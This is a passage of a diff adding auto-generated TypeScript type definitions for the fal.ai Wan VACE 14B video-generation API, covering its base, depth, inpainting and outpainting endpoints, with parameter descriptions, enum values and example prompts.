InputFalAiWanVace14B = { + /** + * @description Whether to preprocess the input video. + * @default false + * @example false + * @type boolean | undefined + */ + preprocess?: boolean + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanVace14BAspectRatioEnumKey + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWanVace14BResolutionEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanVace14BVideoWriteModeEnumKey + /** + * @description URL to the source mask file. If provided, the model will use this mask as a reference. + */ + mask_video_url?: string | null + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWanVace14BTransparencyModeEnumKey + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWanVace14BAccelerationKey | null + /** + * @description URL to the guiding mask file. If provided, the model will use this mask as a reference to create masked video. If provided mask video url will be ignored. + */ + mask_image_url?: string | null + /** + * @description The text prompt to guide video generation. + * @example The video shows a man riding a horse on a vast grassland. He has long lavender hair and wears a traditional dress of a white top and black pants. The animation style makes him look like he is doing some kind of outdoor activity or performing. The background is a spectacular mountain range and cloud sky, giving a sense of tranquility and vastness. The entire video is shot from a fixed angle, focusing on the rider and his horse. + * @type string + */ + prompt: string + /** + * @description Task type for the model. + * @default 'depth' + * @type string | undefined + */ + task?: InputFalAiWanVace14BTaskEnumKey + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description URLs to source reference image. If provided, the model will use this image as reference. + * @type array | undefined + */ + ref_image_urls?: string[] + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL to the source video file. If provided, the model will use this video as a reference. + */ + video_url?: string | null + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanVace14BInterpolatorModelEnumKey + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanVace14BVideoQualityEnumKey + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWanVace14BSamplerEnumKey +} + +export type File4Ed50E17 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type VideoFileE0862246 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanVace14B = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: File4Ed50E17 | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated video file. + * @type object + */ + video: VideoFileE0862246 +} + +export const inputFalAiWanVace14BDepthTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWanVace14BDepthTransparencyModeEnumKey = + (typeof inputFalAiWanVace14BDepthTransparencyModeEnum)[keyof typeof inputFalAiWanVace14BDepthTransparencyModeEnum] + +export const inputFalAiWanVace14BDepthResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanVace14BDepthResolutionEnumKey = + (typeof inputFalAiWanVace14BDepthResolutionEnum)[keyof typeof inputFalAiWanVace14BDepthResolutionEnum] + +export const inputFalAiWanVace14BDepthVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanVace14BDepthVideoWriteModeEnumKey = + (typeof inputFalAiWanVace14BDepthVideoWriteModeEnum)[keyof typeof inputFalAiWanVace14BDepthVideoWriteModeEnum] + +export const inputFalAiWanVace14BDepthAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWanVace14BDepthAspectRatioEnumKey = + (typeof inputFalAiWanVace14BDepthAspectRatioEnum)[keyof typeof inputFalAiWanVace14BDepthAspectRatioEnum] + +export const inputFalAiWanVace14BDepthAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWanVace14BDepthAccelerationKey = + (typeof inputFalAiWanVace14BDepthAcceleration)[keyof typeof inputFalAiWanVace14BDepthAcceleration] + +export const inputFalAiWanVace14BDepthInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWanVace14BDepthInterpolatorModelEnumKey = + (typeof inputFalAiWanVace14BDepthInterpolatorModelEnum)[keyof typeof inputFalAiWanVace14BDepthInterpolatorModelEnum] + +export const inputFalAiWanVace14BDepthVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanVace14BDepthVideoQualityEnumKey = + (typeof inputFalAiWanVace14BDepthVideoQualityEnum)[keyof typeof inputFalAiWanVace14BDepthVideoQualityEnum] + +export const inputFalAiWanVace14BDepthSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWanVace14BDepthSamplerEnumKey = + (typeof inputFalAiWanVace14BDepthSamplerEnum)[keyof typeof inputFalAiWanVace14BDepthSamplerEnum] + +export type InputFalAiWanVace14BDepth = { + /** + * @description Whether to preprocess the input video. + * @default false + * @example false + * @type boolean | undefined + */ + preprocess?: boolean + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWanVace14BDepthTransparencyModeEnumKey + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWanVace14BDepthResolutionEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanVace14BDepthVideoWriteModeEnumKey + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanVace14BDepthAspectRatioEnumKey + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWanVace14BDepthAccelerationKey | null + /** + * @description The text prompt to guide video generation. + * @example A confident woman strides toward the camera down a sun-drenched, empty street. Her vibrant summer dress, a flowing emerald green with delicate white floral embroidery, billows slightly in the gentle breeze. She carries a stylish, woven straw bag, its natural tan contrasting beautifully with the dress. The dress's fabric shimmers subtly, catching the light. The white embroidery is intricate, each tiny flower meticulously detailed. Her expression is focused, yet relaxed, radiating self-assuredness. Her auburn hair, partially pulled back in a loose braid, catches the sunlight, creating warm highlights. The street itself is paved with warm, grey cobblestones, reflecting the bright sun. The mood is optimistic and serene, emphasizing the woman's independence and carefree spirit. High resolution 4k + * @type string + */ + prompt: string + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description URLs to source reference image. If provided, the model will use this image as reference. + * @type array | undefined + */ + ref_image_urls?: string[] + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL to the source video file. Required for depth task. + * @example https://storage.googleapis.com/falserverless/example_inputs/wan-vace-depth-video.mp4 + * @type string + */ + video_url: string + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanVace14BDepthInterpolatorModelEnumKey + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanVace14BDepthVideoQualityEnumKey + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWanVace14BDepthSamplerEnumKey +} + +export type FileC4138491 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type VideoFileCde53D20 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanVace14BDepth = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: FileC4138491 | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated depth video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-depth-output.mp4"} + * @type object + */ + video: VideoFileCde53D20 +} + +export const inputFalAiWanVace14BInpaintingAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWanVace14BInpaintingAspectRatioEnumKey = + (typeof inputFalAiWanVace14BInpaintingAspectRatioEnum)[keyof typeof inputFalAiWanVace14BInpaintingAspectRatioEnum] + +export const inputFalAiWanVace14BInpaintingResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanVace14BInpaintingResolutionEnumKey = + (typeof inputFalAiWanVace14BInpaintingResolutionEnum)[keyof typeof inputFalAiWanVace14BInpaintingResolutionEnum] + +export const inputFalAiWanVace14BInpaintingVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanVace14BInpaintingVideoWriteModeEnumKey = + (typeof inputFalAiWanVace14BInpaintingVideoWriteModeEnum)[keyof typeof inputFalAiWanVace14BInpaintingVideoWriteModeEnum] + +export const inputFalAiWanVace14BInpaintingTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWanVace14BInpaintingTransparencyModeEnumKey = + (typeof inputFalAiWanVace14BInpaintingTransparencyModeEnum)[keyof typeof inputFalAiWanVace14BInpaintingTransparencyModeEnum] + +export const inputFalAiWanVace14BInpaintingAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWanVace14BInpaintingAccelerationKey = + (typeof inputFalAiWanVace14BInpaintingAcceleration)[keyof typeof inputFalAiWanVace14BInpaintingAcceleration] + +export const inputFalAiWanVace14BInpaintingInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWanVace14BInpaintingInterpolatorModelEnumKey = + (typeof inputFalAiWanVace14BInpaintingInterpolatorModelEnum)[keyof typeof inputFalAiWanVace14BInpaintingInterpolatorModelEnum] + +export const inputFalAiWanVace14BInpaintingVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanVace14BInpaintingVideoQualityEnumKey = + (typeof inputFalAiWanVace14BInpaintingVideoQualityEnum)[keyof typeof inputFalAiWanVace14BInpaintingVideoQualityEnum] + +export const inputFalAiWanVace14BInpaintingSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWanVace14BInpaintingSamplerEnumKey = + (typeof inputFalAiWanVace14BInpaintingSamplerEnum)[keyof typeof inputFalAiWanVace14BInpaintingSamplerEnum] + +export type InputFalAiWanVace14BInpainting = { + /** + * @description Whether to preprocess the input video. + * @default false + * @example false + * @type boolean | undefined + */ + preprocess?: boolean + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanVace14BInpaintingAspectRatioEnumKey + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWanVace14BInpaintingResolutionEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanVace14BInpaintingVideoWriteModeEnumKey + /** + * @description URL to the source mask file. Required for inpainting. + * @example https://storage.googleapis.com/falserverless/vace/src_mask.mp4 + */ + mask_video_url?: string | null + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWanVace14BInpaintingTransparencyModeEnumKey + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWanVace14BInpaintingAccelerationKey | null + /** + * @description URL to the guiding mask file. If provided, the model will use this mask as a reference to create masked video using salient mask tracking. Will be ignored if mask_video_url is provided. + */ + mask_image_url?: string | null + /** + * @description The text prompt to guide video generation. + * @example The video shows a man riding a horse on a vast grassland. He has long lavender hair and wears a traditional dress of a white top and black pants. The animation style makes him look like he is doing some kind of outdoor activity or performing. The background is a spectacular mountain range and cloud sky, giving a sense of tranquility and vastness. The entire video is shot from a fixed angle, focusing on the rider and his horse. + * @type string + */ + prompt: string + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description Urls to source reference image. If provided, the model will use this image as reference. + * @example ["https://storage.googleapis.com/falserverless/vace/src_ref_image_1.png"] + * @type array | undefined + */ + ref_image_urls?: string[] + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL to the source video file. Required for inpainting. + * @example https://storage.googleapis.com/falserverless/vace/src_video.mp4 + * @type string + */ + video_url: string + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanVace14BInpaintingInterpolatorModelEnumKey + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanVace14BInpaintingVideoQualityEnumKey + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWanVace14BInpaintingSamplerEnumKey +} + +export type File657664A9 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type VideoFileAc4C8272 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiWanVace14BInpainting = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: File657664A9 | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated inpainting video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-inpainting-output.mp4"} + * @type object + */ + video: VideoFileAc4C8272 +} + +export const inputFalAiWanVace14BOutpaintingAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWanVace14BOutpaintingAspectRatioEnumKey = + (typeof inputFalAiWanVace14BOutpaintingAspectRatioEnum)[keyof typeof inputFalAiWanVace14BOutpaintingAspectRatioEnum] + +export const inputFalAiWanVace14BOutpaintingResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanVace14BOutpaintingResolutionEnumKey = + (typeof inputFalAiWanVace14BOutpaintingResolutionEnum)[keyof typeof inputFalAiWanVace14BOutpaintingResolutionEnum] + +export const inputFalAiWanVace14BOutpaintingVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanVace14BOutpaintingVideoWriteModeEnumKey = + (typeof inputFalAiWanVace14BOutpaintingVideoWriteModeEnum)[keyof typeof inputFalAiWanVace14BOutpaintingVideoWriteModeEnum] + +export const inputFalAiWanVace14BOutpaintingTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWanVace14BOutpaintingTransparencyModeEnumKey = + (typeof inputFalAiWanVace14BOutpaintingTransparencyModeEnum)[keyof typeof inputFalAiWanVace14BOutpaintingTransparencyModeEnum] + +export const inputFalAiWanVace14BOutpaintingAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWanVace14BOutpaintingAccelerationKey = + (typeof inputFalAiWanVace14BOutpaintingAcceleration)[keyof typeof inputFalAiWanVace14BOutpaintingAcceleration] + +export const inputFalAiWanVace14BOutpaintingInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWanVace14BOutpaintingInterpolatorModelEnumKey = + (typeof inputFalAiWanVace14BOutpaintingInterpolatorModelEnum)[keyof typeof inputFalAiWanVace14BOutpaintingInterpolatorModelEnum] + +export const inputFalAiWanVace14BOutpaintingVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanVace14BOutpaintingVideoQualityEnumKey = + (typeof inputFalAiWanVace14BOutpaintingVideoQualityEnum)[keyof typeof inputFalAiWanVace14BOutpaintingVideoQualityEnum] 